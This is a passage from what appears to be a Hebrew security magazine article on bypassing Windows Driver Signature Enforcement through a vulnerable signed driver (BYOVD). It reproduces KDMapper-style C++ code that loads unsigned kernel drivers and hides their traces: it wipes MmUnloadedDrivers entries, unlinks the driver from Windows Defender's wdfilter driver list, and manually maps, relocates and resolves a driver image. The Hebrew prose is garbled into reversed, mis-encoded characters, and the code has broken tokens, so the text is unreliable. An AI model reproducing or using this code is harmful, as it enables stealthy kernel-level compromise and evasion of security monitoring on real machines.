˰ˠ˶˟ ˫˷ˢ˷ ˣˮ˥ˮ˞˷ ˫˧˵˲˯ˬ ˢ˪ ˞˪ ˧ˡ˧˪˞ˣ ύ˶ˬˣ˪˩ Υbuffer x˞ ˨˶ˣ˞ ˫˧ˣˣ˷˷ ˪πл όπ ˢ˪ˣ˰˲ˢ ˞˴˸ ˧ˮ˲˪ 

˞˧ˢ˷ ˸˶ˬˣ˷ ˸˞ ˰ˡ˧ˬˢ ˪˰ sπDriver Φ 

ˢˤ ˫ˣ˩˧˯ ˪˷ ˪˩ ˨˧˪ˢ˸ˢ ˡˣ˵˟Υ 

uint64_t dr iver_section = 0;  
 
if (! ReadMemory(device_handle, dr iver_object + 0x28, &driver_section, sizeof (driver_section))  || 
!driver_section) {  
   Log( L"[! ] Failed to find driver_section" << s td::end l);  
   return false ;  
}  
 
UNICODE_STRING us_driver_base_dll_name = { 0 };  
if (! ReadMemory(device_handle, dr iver_section + 0x58, &us_driver_base_dll_name, size of (us_driver_base_dll_name)) 
|| us_driver_base_dll_name.Length  == 0) {  
   Log( L"[! ] Failed to find driver name" << std: :endl);  
   return false ;  
}  
 
auto unloadedName = std::make_unique<wchar_t[]>( ( ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL);  
if (! ReadMemory(device_handle, ( uintptr_t )us_driver_base_dll_name.Buffer, unloadedName. get (),  
us_driver_base_dll_name.Length)) {  
   Log( L"[! ] Failed to read driver name" << std: :endl);  
   return false ;  
}  
 
us_driver_base_dll_name.Length = 0; //MiRememberUnloaded Driver will check if the length > 0 to save the unloaded 
driver  
if (! WriteMemory (device_handle, driver_section +  0x58, &us_driver_base_dll_name, 
sizeof (us_driver_base_dll_name)))  {  
   Log( L"[! ] Failed to wri te driver name length"  << std ::endl);  
   return f alse ;  
}  
Log( L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);  
return true ;  

WdFilterDriverListΥ 
 

˸˞ˤ ˢˬ˧˷˶ˢ ˸˧ˤ˩˶ˬˢ ˢˮˣ˶˥˞ˢ ˶ˣ˟˰ˮ˷ ˢ˧˪˰ Σ˫˰ˣ ˪˩ ˸ˣˬ˧˷˶ˢ ˣ˪˪ˢ sπDriver ˫˩˪˷ ˢ˧ˢ˧ ˞˟˥ˣˬ ˪˩˟ 

˞˯˶ˠ ˪˷ Windows 10/11 Φ˶˟ˣˡˬ ˬ˟ˢˮ˟ ˧ˬ˧ˮ˲ ˪˷ wdfilter.sys ˭˸˧ˮˣ ˭˧˟ˢ˪ ˸˞ ˨˶ˡ ˣ˸˪ˣ˰˲ ˣ˸ˣ˰ˬ˷ˬˣ 

ˢ˶ˡˠˢˢˬ ˢ˞˟ˢΥ 

 



 
 

 DSE   BYOVD 
.DigitalWhisper.co.ilwww 

˭ˣ˧˪ˠ 163, x˧˪˧ нлнп  му 
 

ˣˬ˩ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˫˧ˬˡˣ˵ˢ Σ˫ˠ ˢˮ˟ˬ ˢˤ ˯˯˟˸ˬ ˪˰ ˢ˶˧ˬ˷ ˪˷ sπDrivers ˫˧˴˶˷ ˰ˠ˶˩ ˪˰ ˸˩˶˰ˬˢ 

ύˢ˶˵ˬ˟ ˪˷ ˢˮ˟ˬ ˢˤ π ˫ˠ ˞ˣˢ ˧ˣˮ˟ ˪˰ LIST_ENTRY double linked list Φόˢ˞˟˥ˢ˟ xʕ ˨˶˦˴ˮ ˷ˬ˸˷ˢ˪ 

ˢ˟˶ˢ˟ pattern scanning ˪˪ˠ˟ ˶˯ˣ˥ ˡˣ˰˧˸ˢ ˟˶ˢ Σ˧ˮ˞ˣ ˨ˣ˯˥˞ ˸˞ ˫˧˦˶˲ˢ ˪˰ ˸ˣ˧ˮ˟˸ˢ ˭ˬ˴˰ ˪˰ˣ 

˫˧ˣˮ˧˷ˢ ˫˧ˮ˦˵ˢ ˨˧˶˴˷ ˰˴˟˪ ˧ˡ˩ ˫ˡ˵˸ˢ˪ ˨˶˰ˬ ˨˶˰˪ ύ˭˸˧ˮ˷ ˞ˣ˴ˬ˪ ˡˣˬ˰˟ ˟˞ˢ˦˧ˠˢ ˪˷ KDMapperΥό 

мό ˪˧˥˸ˮ ˬπpattern scanning ˶ˣ˟˰ ˸ˬ˧˷˶ sπDriverπ˫˧ ˫˧ˮˣ˰˦ˢ π RuntimeDriverList Σˢ˶˵ˬ˟ ˢˤ 

˭˯˥ˣ˞ˬ ˟πDriver ˫ˠ ˢˮˣˬ ˪˷ ˸ˣˬ˩ sπDriverπ˫˧ ˫˧˴˶ˢ ύ˭˸˧ˮ ˭˧˟ˢ˪ ˸˞ ˭ˣˣ˧˩ˢ ˶˟˩ Σ˸ˡ˶ˣˢ ˢˮˣˬˢ ό

ˢ˪ˣ˰˲ˣ ˸˧ˬ˧ˮ˲ ˶ˣ˶˥˷˪ ˰ˡ˧ˬˢ ˪˰ ˣ˸ˣ˞ Driver ˢˬ˧˷˶ˢˬ ˫˷˟ MpFreeDriverInfoExRef ˫ˠ˷ ˫˸ˣ˞ 

ˢ˴˶ˮ ˞ˣ˴ˬ˪ ˭ˣ˶˩ˤ˟ 

нό ˷ˬ˸˷ˮ ˧˸˷˟ ˸ˣ˟ˣ˸˩ˢ ˸ˣˮˣ˷˞˶ˢ ˣˮ˞˴ˬ˷ ˸˞˧˴ˬ˪ ˫˧˩˶˰ ˫˧˶˥˞ Σ˭ˣˠ˩Υ 

¶ ˨˶˰ˬˢ ˣ˟˷ ˸ˬ˞˟ ˞˴ˬˮ ˰ˡ˧ˬˢ ˪˰ ˪˩ Driver ˭ˣ˰˦  

¶ ˰˧˟˴ˬ ˪πLIST_ENTRY ˪˷ sπDriver ˭ˣ˷˞˶ˢ ˢˬ˧˷˶˟ Σˣ˸˧˞ ˪˩ˣˮ ˰˴˟˪ ˶˟˰ˬ ˪˰ ˢˬ˧˷˶ˢ 

˧˶˥˞ ˸˞˧˴ˬ ˫˧˩˶˰ˢ ˫˧˧˦ˮˣˣ˪˶ˢ ˪˩ˣˮ ˪˧˥˸ˢ˪ ˶ˣ˟˰˪ ˪˰ ˢˬ˧˷˶ˢ ˣˬ˩ ˪˩ ˢˬ˧˷˶ ˸˯˯ˣ˟ˬ LIST_ENTRY 

˸ˬ˧˧˵Φ ˸˶ˤ˰˟ ˡˣ˰ ˸˴˵ ˢ˯ˡˮˢ ˶ˣ˥˞˪ ύ˧˸˲˶˧˴ ˶ˬ˞ˬ ˡ˰˸ˬ˷ ˢ˟˶ˢ ˫˧ˮ˟ˬˢˬ sϦ˞˪ ˸ˬ˫˧ˡ˰ˣ Ϧˣ˪˪ˢ ό

˭˸˧ˮ ˸ˣ˞˶˪ ˶˷˧˷ ˧˶˥˞ sπLIST_ENTRY ˢˮ˟ˬ˟ ˞˴ˬˮ ˫˷ˢ ˪˷ sπDriver ˩πUNICODE_STRING Φˣˬ˩ 

ˣˮ˧˷˰˷ ˟πPiDDBCacheTable ˥˵˧ˮ ˸˞ ˫˷ˢ ˸˧˪˞˵ˣ˪ ˵ˣˡ˟ˮˣ ˫˞ ˞ˣˢ ˢˢˤ ˫˷˪ ˪˷ sπDriver ˣˮ˪˷ Σ˫˞ ˭˩ Υ

ˣˮ˞˴ˬ ˸˞ ˢˬˣ˷˶ˢ ˞˧˟˥ˢ˪Φ 

˫˰ ˪˩ ˫˧ˮˣ˸ˮˢ ˣˮ˞˴ˬ˷ ˧ˮ˲˪ ˭˩ ˪˩ˣˮ ˟˪˷˟ ˢˤ ˢ˪ˡ˧˶ˣ ˸˞ ˢˮˣˬˢ ˡ˥˞˟ Σ˶˧˯ˢ˪ ˸˞ ˰ˡ˧ˬˢ ˪˰ sπDriver 

ˣˮ˪˷ ˢˮ˟ˬˢˬ ˸˶ˤ˰˟ MpFreeDriverInfoExRef ˪˩ˣˮˣ ˸ˣ˷˰˪ LIST_ENTRY Unlinking Φ˪˪ˠ˟ ˨˶˰ˬ˟˷ 

ˡ˰ˣ˸ˬˢ ˪˰ ˰ˡ˧ˬˢ ˪˷ sπDriverπ˫˧ ˷˧ ˫ˠ ˰ˡ˧ˬ ˪˰ ˪˩ Driver ύ˨˞ ˰ˣˡ˧ ˞ˣˢ˷ ˣ˸ˣ˞˟ ˶ˡ˯ˢ ˪˷ ˸ˬ˧˷˶ sπ

LIST_ENTRY ό˯˲˞ˮ ˸˞ ˶ˣˤ˧˞ˢ ˶˞˸ˬ˷ ˸˞ sπDriver ˣˮ˪˷: 

if ( wcsstr ( ImageName.get () , intel_driver: : GetDriverNameW(). c_st r ())) {  
//remove from Runt imeDriversArray  

 
bool removedRuntimeDriversArray =  false ;  
PVOID SameIndexLis t = ( PVOID)(( uintptr_t )Entry -  0x10);  

 
for ( int k = 0; k < 256; k++) { / / max RuntimeDr iversArray elements  
    PVOID value = 0;  
    ReadMemory(dev ice_handle, RuntimeDriversArray + (k * 8), &value, s izeof ( PVOID));  
    if (value == SameIndexList) {  
        PVOID emptyval = ( PVOID)(RuntimeDriversCount + 1); // this is not count+1  is position  of cout addr+1  
        Wri teMemory (device_handle , RuntimeDriversArray + (k * 8), &emptyval, s izeof ( PVOID));  
        removedRuntimeDriversArray = true ;  
        break ;  
    }  
}  
 
if (!removedRuntimeDriversArray) {  
    Log( "[! ] Failed to remove fro m RuntimeDriversArray"  << std: :endl);  
    return false ;  
}  
 
auto NextEntry = ReadListEntry ( uintptr_t (Entry) + ( offsetof ( struct _LIST_ENTRY, Flink)));  
auto PrevEntry = ReadListEntry ( uintptr_t (Entry) + ( offsetof ( struct _LIST_ENTRY, Blink)));  
 
WriteMemory (devi ce_handle,  uintpt r_t (NextEntry) + ( offsetof ( struct _LIST_ENTRY, Blink)), &PrevEntry,  
sizeof (LIST_ENTRY: :Blink)) ;  
WriteMemory (device_handle,  uintpt r_t (PrevEntry) + ( offsetof ( struct _LIST_ENTRY, Flink)), &NextEntry,  
sizeof (LIST_ENTRY: :Flink)) ;  
 
// decrement RuntimeDriversCount  
ULONG current = 0;  
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ReadMemory(device_handle, RuntimeDriversCount, &current , sizeof ( ULONG) );  
current -- ;  
WriteMemory (device_handle,  RuntimeDriversCount, &current, sizeof ( ULONG));  
 
// call MpFreeDriverInfoEx  
uintptr_t DriverIn fo = ( uintptr _t )Entry -  0x20;  
 
//verify Dr iverInfo Magic  
USHORT Magic = 0;  
ReadMemory(device_handle, DriverInfo, &Magic, sizeof ( USHORT));  
if (Magic != 0xDA18) {  
    Log( "[! ] DriverInfo Magic is invalid,  new wdfilter version?, driver info w ill not  be released to  prevent  
bsod" << std::endl );  
}  
else {  
    CallKernelFunction< void >(device_handle, nullptr, MpFreeDriverInfoEx, DriverInfo);  

 ˱ˣ˯˟˪ Σ˧˶˥˞ ˭ˬˤ ˳ˬ˞ˬˣ ˫˧˟˶ Σˣˮ˥˪˴ˢ ˞˧˟˥ˢ˪ Driver ˭ˣ˰˦ Η˭˞˩ˬ Σˤ˩˶˸ˮ ˸ˣˢˬ˟ ˪˷Manual Driver 

Mapper π ˸ˣ˲ˬ˪ Driver ˞˪ ˫ˣ˸˥ ˭ˣ˶˩ˤ˪ ˸˩˶˰ˬˢΦ 

 

˧˰˦˸ˮ Driver ˞˪ ˫ˣ˸˥ 

˶˥˞˪ ˸ˮ˧˰˦ sπDriver ˧˸˷˪ˣ˥ˢ ˣ˸˞˟˥ˢˣ ˧ˡ˩ ˰ˮˬˢ˪ ˸ˣˮˠˢˬ ˸˩˶˰ˬ˟ ˪˩ˣˮ ˪˧˥˸ˢ˪ ˫˰ ˵˪˥ˢ ˧ˤ˩˶ˬˢ 

˪˷ ˢ˟˸˩ˢ π ˸ˮ˧˰˦ Driver ˞˪ ˫ˣ˸˥ Φ˧˸˶˞˧˸ ˸˞ ˨˧˪ˢ˸ˢ ˣ˧˲˪˷ ˪˰˲ˮ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ ˵˪˥˟ˣ ˢˤ ˪˰˲ˮ 

˟˪˷π˟˪˷ ˰ˣ˴˧˟˟ ˢˮ˧˰˦ˢ. 

 

˸˞˧˶˵ ˭˩ˣ˸ sπUnsigned Driver ˸ˮ˩ˢˣ sπDriver ˢˮ˧˰˦˪Υ 

˶˥˞˪ ˸˞˧˶˵ ˭˩ˣ˸ sπDriver ˭ˣ˯˩˞ˢˬ ˸ˠ˷ˢˣ ˰ˡ˧ˬ ˧˯˧˯˟ ˣˬ˩ ˪ˡˣˠ ˳˟ˣ˵ˢ ˪˩ˣˮ ˪˧˥˸ˢ˪ ˸˞ ˨˧˪ˢ˸ ˢˮ˧˰˦ˢ 

˸˞˴˵ˢ˟ ˭ˣ˶˩ˤ ˧˪ˮ˶˵ ˞ˣˢ˷ executable ˶ˣ˟˰ sπDriver ˣˮ˪˷ Σ˭˟ˣˬ˩ˣ ˪˧˟˷˟˷ ˢˤ ˷ˬ˸˷ˮ ˢˮ˩ˣ˸˟ 

˸˧˸˷˪ˣ˥ˢ ˣˮ˰˦˷ ˣˮ˞˟˥ˢˣ ˫ˡˣ˵ ˭˩˪ Φ˧ˮ˲˪ ˪˧˥˸ˮ˷ ˟ˣ˸˩˪ ˭ˣ˶˩ˤ˪ ˧˪ˮ˶˵ˢ ˢ˴˶ˮ ˶ˣ˴˧˪ ˵˸˰ˢ ˭˵ˣ˸ˬ ˪˷ 

ˢˮ˩ˣ˸ˢ ύ˶˧˟˯˞ ˢˬ ˨˧˶˴ ˭˵˸˪ ˶˥ˣ˞ˬ ˶˸ˣ˧ Σό˶˷˲˞ ˪˧˥˸ˢ˪ ˯˧ˮ˩ˢ˪ ˫˧˩˶˰ ˭ˣ˶˩ˤ˪ ˧˪ˮ˶˵ˢ ˶˟˩ ˨˞ ˪˧˟˷˟ 

˶ˡ˯˷ ˸ˣ˪ˣ˰˲ˢ ˢ˧ˢ˧ ˶ˣ˶˟ ˭˟ˣˬˣ ˢ˷˰ˮ ˸˞ˤ ˶˥ˣ˞ˬ ˶˸ˣ˧Φ 

ˢ˲ˬ ˪˧˥˸ˮ ˟ˣ˸˩˪ ˸˞ ˧˵˪˥ ˢˮ˩ˣ˸ˢ ˡ˥˞ ˧˶˥˞ ˧ˮ˷ˢ ˨ˣ˸˪ ˵˸˰ˢˢ ˧ˬˣ˵ˬˢ ˪˷ sπDriver Σ˭ˣˠ˩ sπimage 

headers sxπsections ˦ˬ˶ˣ˲ˬ sπPE Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˢ˶ˣ˴˟ ˸˞ˤ˩Υ 

memcpy(local_image_base, data, nt_headers - >OptionalHeader.SizeOfHeaders);  
 
// Copy image sections  

 
const PIMAGE_SECTION_HEADER current_image_section = IMAGE_FIRST_SECTION(nt_headers);  
 
for ( auto i  = 0; i < nt_headers - >FileHeader.NumberOfSections; ++i) {  
    if ((current_image_section[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)  
        continue ;  
    auto local_section = reinterpret_cast< void *>(reinterpret_cast< uint64_t >(local_image_b ase) +  
         current_image_section[i].VirtualAddress);  

    memcpy(local_section, reinterpret_cast< void *>(reinterpret_cast< uint64_t >(data) + current_image_section[i].PointerToRawData),  
           current_image_section[i].SizeOfRawData);  
}  

˟˪˷˟ ˢˤ ˫˧˰˧ˠˬ ˫˧ˮˣ˵˧˸ˢ ˧˸ˮ˧˧˴˷ ˧ˮ˲˪ ˭˩ Σ˫˸ˣ˞˷ ˧ˮ˞ ˵˪˥˞ ˸˸˪π˫˧˵˶˲ ˪˩˟˷ ˡ˥˞ ˶˧˟˯˞ ˪˰ ˸ˣˢˬˢ 

ˣ˪˷ Σ˷ˣˬ˧˷ˢ ˣ˪˷ ˢ˶ˣ˴ˢˣ ˢ˟˷ ˪˰˲ˮ ˧ˡ˩ ˭˵˸˪ ˣ˸ˣ˞ ˢ˶ˣ˴˟ ˢˮ˩ˣ˸ˢ˷ ˣˮ˪˷ ˳ˣ˶˸ ˣˬ˩ ˨˧˶˴˷. 
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RelocationsΥ 

˶˪˧˧˲ˬˣ˵˷˩ ˫ˠ˶˸ˬ ˸˞ ˡˣ˵ˢ ˣˮ˥ˮ˞˷ ˫˧˟˸ˣ˩ ˸˲˷˪ ˢˮˣ˩ˬ Σ˶˪˧˧˲ˬˣ˵˪ ˷˧ ˨˶ˣ˴ ˷ˢ˪˷ˬ˸ ˸ˣ˟ˣ˸˩˟ 

˸ˣˬ˧ˣ˯ˬ ˧ˡ˩ ˫ˠ˶˸˪ ˫˧˶˟ˡ ˣˬ˩ ˸ˣ˴˧˲˵ ˡˣ˵˟ x˞ ˢ˧˧ˮ˲ ˭˩ˣ˸˪ ˶ˣˤ˧˞˟ ˧˲˧˴˲˯ Φ˪˪ˠ˟ ˶˪˧˧˲ˬˣ˵ˢ˷ ˞˪ ˪ˣ˩˧ 

˸˰ˡ˪ ˢ˲˧˞ ˢˮ˩ˣ˸ˢ ˭˰˦˸ Σ˶˪˧˧˲ˬˣ˵ˢ ˨˧˧˷ˬ ˢˮ˩ˣ˸˪ ˸˟ˣ˸˩ ˯˧˯˟ ˸˞˴ˬˣˬ ˪˷ˬ ˣˬ˴˰ ˶˴ˣ˧ˣ ˢ˪˟˦ ˫˷˟ 

relocations table ˢ˟ ˞ˣˢ ˡ˰˸ˬ ˪˩ ˢ˧˧ˮ˲ ˸˟ˣ˸˩˪ ˸˞˴ˬˣˬ ύ˸˟ˣ˸˩ ˯˟˯˧ ˸˞˴ˬˣˬ  Ҍ˦˯˲ˣ˞ ˸˪˧˥˸ˬ 

ˢˮ˩ˣ˸ˢ όˢ˷πloader ˨˶˦˴˧ ˭˵˸˪ ˡ˧˸˰˟Φ 

˪˩ ˨˧˪ˢ˸ˢ ˶˞ˣ˸ˬ ˢ˶ˣ˴˟ ˢ˪ˣ˰ˬ ˶ˬ˞ˬ˟ ˞˟ˢ ˣ˸ˣ˞˷ ˶˷˵˞ ˢ˦ˬ˪Υ 

 

ˣ˧˷˩˰ Σ˨˧˞ ˣˮ˥ˮ˞ ˢˮ˷ˮ ˸˞ sπrelocations ˨˩ ˫ˢ˷ ˣˬ˧˞˸˧ ˢˮ˩ˣ˸˪ ˣˮ˪˷ Κ˧˶ˢ ˣˮ˥ˮ˞ ˫˧ˮ˧˰˦ˬ ˢ˸ˣ˞ ˶ˣˤ˧˞˪ 

˪ˮ˶˵˟ ˣ˟˷ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˪ˣˡˠ ˢ˟˶ˢ˟ ˸ˣ˟ˣ˸˩ˬ ˟πUM Φ˭ˣ˧˰˶ˢ ˡˣ˞ˬ ˦ˣ˷˲ Υ˸˞˧˴ˬ ˞˸˪ˡˢ ύ˧ˮˣ˷ ˭˧˟ ˸˟ˣ˸˩ 

˯˧˯˟ˢ ˸˧˪ˮ˶˵ˢ ˸˟ˣ˸˩˪ ˯˧˯˟ˢ ˶˪˧˧˲ˬˣ˵ˢ˷ ˭˸ˮ ˢˮ˩ˣ˸˪ ό˧ˣˮ˧˷ˣ ˪˩ ˡ˥˞ ˢˬπrelocations ˸˶ˤ˰˟ ˸˲˯ˣˢ 

˞˸˪ˡˢ ˪˩˪ relocation Φ 

˧˶˥˞ ˸ˣˬ˞˸ˢ ˢ˶ˣ˴˪ ˢ˟ sπrelocations ˫˧ˮ˯˩ˣ˞ˬ Σ˨˩ ˨˧˪ˢ˸ˢ ˶ˣˬ˞ ˸ˣ˞˶ˢ˪ ˡˣ˵˟Υ 

void kdmapper:: Reloc ateImageByDel ta (portable_executable ::vec_re locs re locs, const uin t64_t delta) {  
    for ( const auto & current_reloc : relocs) {  
        for  ( auto i = 0u; i < cur rent_reloc.count; ++i)  {  
            const uint16_t  type =  current_reloc. item[i]  >> 12;  
            const uint16_t  offset  = current_reloc.item[ i] & 0xFFF;  
 
            if (type == IMAGE_REL_BASED_DIR64) 
                *reinterpret_cast< uint64_t *>(cur rent_re loc.address + o ffset) += delta ;  
        }  
    }  
}  

 

Security CookieΥ 

˷˧ ˶ˬ˞ˬ ˢ˪ˣ˰ˬ ˶˟ˡˬ˷ ˪˰ PE format ˶˷˵˞˷ ˢ˦ˬ˪ Σ˧˲˩ˣ ˞ˣˢ˷ ˶˧˟˯ˬ ˨˶˰ sπSecurityCookie 

˸ˣ˶ˡˠˢ˟ ˳˟ˣ˵ˢ ˞˧ˢ ˸˟ˣ˸˩ ˸˧˪˞ˣ˦˶˧ˣ ˢ˟˷ ˭˯˥ˣ˞˧ ˨˶˰ cookie Φ˭ˣˮˠˮˬˢ ˢˤˢ Σ˞˶˵ˮ˷ ˫ˠ ˫˷˟ stack 

canary Σˡ˰ˣˮ ˰ˣˮˬ˪ stack overflow ˸˶ˤ˰˟ ˸˶˧ˬ˷ ˨˶˰ˢ ˧˶ˣ˵ˬˢ ˪˷ sπcookie ˢ˞ˣˣ˷ˢˣ ˪˷ ˨˶˰ˢ 

˧˥˩ˣˮˢ Φ˫ˠ ˢ˲ ˢ˶ˣ˴˟ ˢˬˣˡ ˪πrelocations ˧ˣˮ˧˷ˢ ˡˣ˞ˬ ˦ˣ˷˲ Υ˧ˣˮ˧˷ ˸˟ˣ˸˩ˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˧˲˪ ˞˸˪ˡˢ ˭˧˟ 
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˯˧˯˟ˢ ˧˪ˮ˶˵ˢ ˭˧˟˪ ˯˧˯˟ˢ ˶˪˧˧˲ˬˣ˵ˢ˷ ˶˥˟ ˧ˣˮ˧˷ˣ ˨˶˰ˢ ˪˷ sπcookie ˨˶˰˪ ˣˮ˪˷ ύ˨˶˰ˢ ˣˬ˴˰ ˞˪ ˢˮ˷ˬ 

˭˩˪ˣ ˟˪˷ ˢˤ ˞˪ ˢ˟ˣ˥ Φό˨˧˪ˢ˸ ˢˤ ˶˞ˣ˸ˬ ˭˞˩Υ 

bool kdmapper:: FixSecurity Cookie ( void * local_image, uint64_t kernel_image_base)  
{  
    auto headers = portable_executable:: GetNtHeaders (local_image);  

    if (!headers)  
        return false ;  
 
    auto load_config_directory = headers - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY _LOAD_CONFIG].VirtualAddress;  
    if (!load_config_directory)  
    {  
        Log( L"[+] Load config directory wasn't found, probably StackCookie not defined, fix cookie skipped" << std::endl);  
        return true ;  

    }  
     
    auto load_config_struct = (PI MAGE_LOAD_CONFIG_DIRECTORY)((uintptr_t )local_image + load_config_directory);  
    auto stack_cookie = load_config_struct - >SecurityCookie;  
    if (!stack_cookie)  
    {  
        Log( L"[+] StackCookie not defined, fix cookie skipped" << std::endl);  
        retu rn true ; // as I said, it is not an error and we should allow that behavior  
    }  
     
    stack_cookie = stack_cookie -  ( uintptr_t )kernel_image_base + ( uintptr_t )local_image; //since our local image is already  
                                                                                         //relocated the base returned will be  
                                                                                         //kernel address  
 
    if (*( uintptr_t *)(stack_cookie) != 0x2B992DDFA232) {  
        Log( L"[ - ] StackCookie already fixed!? this probably wrong" << std::endl);  
        return false ;  
    }  
 
    Log( L"[+] Fixing stack cookie" << std::endl);  
 
    auto new_cookie = 0x2B992DDFA232 ̂  GetCurrentProcessId ()  ̂ GetCurrentThreadId ();     //here we don' t really care about the  
                                                                                         //value of stack cookie, it will stil l  
                                                                                         //works and pro duce nice result  
    if (new_cookie == 0x2B992DDFA232)  
        new_cookie = 0x2B992DDFA233;  
 
    *( uintptr_t *)(stack_cookie) = new_cookie; // the _security_cookie_complement will be init by the driver itself if they use crt  

    return true ;  
}  

 

Executable ImportsΥ 

ˢˬˣˡ˟ ˪πrelocations table Σ˫ˠ sπimport address table ˭˯˥ˣ˞ˬ ˢ˪˟˦˩ ˨ˣ˸˟ section ˳˟ˣ˵ˬ PE Φ

ˢ˶˵ˬ˟ ˢˤ Σˢ˪˟˦ˢ ˢ˪˧˩ˬ ˸ˣ˧˶˲˯ ˢˮ˩ˣ˸ˢ˷ ˸˧˥˩ˣˮˢ ˢ˸˷˰ ˫ˢ˟ ˷ˣˬ˧˷ Φˢ˪˟˦ˢ ˸˪˪ˣ˩ ˫ˠ ˸˞ 

˸ˣ˟ˣ˸˩ˢ ˸ˣ˧˥˩ˣˮˢ ˭ˣ˶˩ˤ˟ ˪˷ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˷ˬˣ˷ˬˢ ˢˮ˩ˣ˸˟ ˨ˣ˸ˬ ˪˩ ˢ˧˧˶˲˯ ˞˧ˢ˷ importedΦ  

˶ˬˣ˪˩ Υˢ˧ˢˮ ˫˧˟˧˧˥ ˞ˡˣˣ˪ ˸ˣ˟ˣ˸˩ˢ˷ ˣ˪˪ˢ ˸ˣˬ˧˞˸ˬ ˢ˴˧˶˪ ˸˧˥˩ˣˮˢ ˪˷ ˸˩˶˰ˬˢ x˞ ˢˮ˩ˣ˸ˢ˷ ˞˪ ˡˣ˟˰˸ 

ˣˬ˩ ˨˧˶˴˷ Φ˭ˣ˧˰˶ˢ ˦ˣ˷˲ ˡˣ˞ˬ Υ˶˟˰ˬ ˪˰ ˪˩ sπimports ˪˷ sπDriver Σ˸˞˧˴ˬ ˢ˧˧˶˲˯ˢ ˢ˟˷ ˪˩ ˢ˪ˣ˰˲ 

˸˷ˬˣˬˬ ˸˞˧˴ˬˣ ˸˟ˣ˸˩ˢ ˸˧˸˧ˬ˞ˢ ˪˷ ˪˩ ˢ˪ˣ˰˲ Σˢ˟˧˸˩ˣ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˸˪˨ˣ sπIAT ˪˷ sπ

Driver Φˢ˶˵ˬ˟ ˢˤ ˭˟ˣˬ˩ ˸ˣ˧˶˲˯ˢ˷ ˣ˧ˢ˧ ˸ˣ˧˶˲˯ ˸ˣ˧˪ˮ˶˵: 

bool kdmapper:: ResolveImports ( HANDLE iqvw64e_dev ice_handle, por table_executable::vec_ imports imports ) {  
    f˷or ( const auto & current_import : imports) {  
        ULONG64 Module = u tils:: GetKernelModuleAddress (current_ import.module_name);  
        if (!Module) {  
#if ! defined (DISABLE_OUTPUT) 
            std::cout << " [ - ] Dependency " << current_import.module_name << " wasn't found" << std::endl;  
#endif  
            return  false ;  
        }  
 
        for  ( auto & current_function_data : current_import.funct ion_datas) {  
            uint64_t funct ion_address = intel_dr iver:: GetKernelModuleExport (iqvw64e_device_handle, Module, 
current_function_data.name);  
 
            if (!function_address) {  
                //Lets try  with n toskrnl  
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                if  (Module  != intel_driver::ntoskrnlAddr) {  
                    function_address = in tel_driver:: GetKernelModuleExport (iqvw64e_device_handle, 
intel_driver::ntoskrnlAddr , current_funct ion_data.name) ;  
                    if (!function_address) {  
#if ! defined (DISABLE_OUTPUT) 
                        std::cout  << "[ - ]  Failed  to resolve import " << current_funct ion_data .name << " (" << 
current_import.module_name << ")"  << std: :endl;  
#endif  
                        re tu rn fa lse ;  
                    }  
                }  
            }  
 
            *current_funct ion_data.address = function_address;  
        }  
    }  
 
    return true ;  
}  

˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ ˸ˣ˟ˣ˸˩ˢ ˪˷ ˸ˣ˪ˣ˰˲ˢ ύsπexports ˢ˧˧˶˲˯˟ ˸˧˦ˮˣˣ˪˶ˢ ό˪˩˸˯ˮ ˪˰ sπheaders ˪˷ sπimage 

˭ˣ˶˩ˤ˟Φ ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ ˸˟ˣ˸˩ ˢ˧˧˶˲˯ˢ ˸˧˪ˮ˶˵ˢ ˭ˣ˶˩ˤ˟ ˷ˬ˸˷ˮ ˢ˪ˣ˰˲˟ NtQuerySystemInformation 

ˢ˧˪˰˷ ˧˸˶˟˧ˡ ˫ˡ˵ˣˬ ˶˸ˣ˧ Φˣ˪˞ ˸ˣ˪ˣ˰˲ˢ GetKernelModuleExport xπGetKernelModuleAddress 

ˢˬ˞˸ˢ˟ ˰˦˵˟ ˡˣ˵ˢ ˢ˪˰ˬ˪Φ 

˶˥˞˪ ˪˩ ˳ˬ˞ˬˢ ˣˮ˰˵˷ˢ˷ Σ˱ˣ˯ ˱ˣ˯ ˪˩ˣˮ ˵˧˸˰ˢ˪ ˭˞˩ ˸˞ ˢˮˣˬ˸ˢ ˵ˬˢ˸˧ˬˣ ˪˷ sπDriver ˭ˣ˶˩ˤ˪ ˧˪ˮ˶˵ˢ 

ˢ˴˵ˣˢ˷ ˧ˮ˲˪ ˭˩ Φ˶˥˞˪ ˢ˵˸˰ˢˢ sπDriver ˣˮ˪˷ ˢ˧ˢ˧ ˭ˣ˶˩ˤ˟ ˧˪ˮ˶˵ ˪˩ˣ˧ˣ ˪ˣ˰˲˪ ˢ˶ˣ˴˟ ˢ˪˧ˠ˶ ˣˬ˩ ˪˩ 

Driver ˶˥˞ Σ˶˟ˡˢ ˭ˣ˶˥˞ˢ ˶˸ˣˮ˷ ˣˮ˪ ˸ˣ˷˰˪ ˞ˣˢ ˞ˣ˶˵˪ ˪πentry point ˪˷ sπDriver ύ˫ˠ˷ ˞ˣˢ ˫˧˧˵ 

ˢˡ˷˩ ˟πPE format Φό 

˷˧ ˩˶ˡ ˸ˣ˟˶ ˫˧˞ˣ˶˵˪ ˤ˧˞˪˶ˣ ˭ˣ˶˩ˤ ˧˪ˮ˶˵ ˢ˪ˣ˰˲˩ Σ˨˞ ˪˪ˠ˟ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˪˟ˠˣˬˢ ˭˸˧ˮ˷ ˰˴˟˪ ˫˰ ˟ˣ˶ sπ

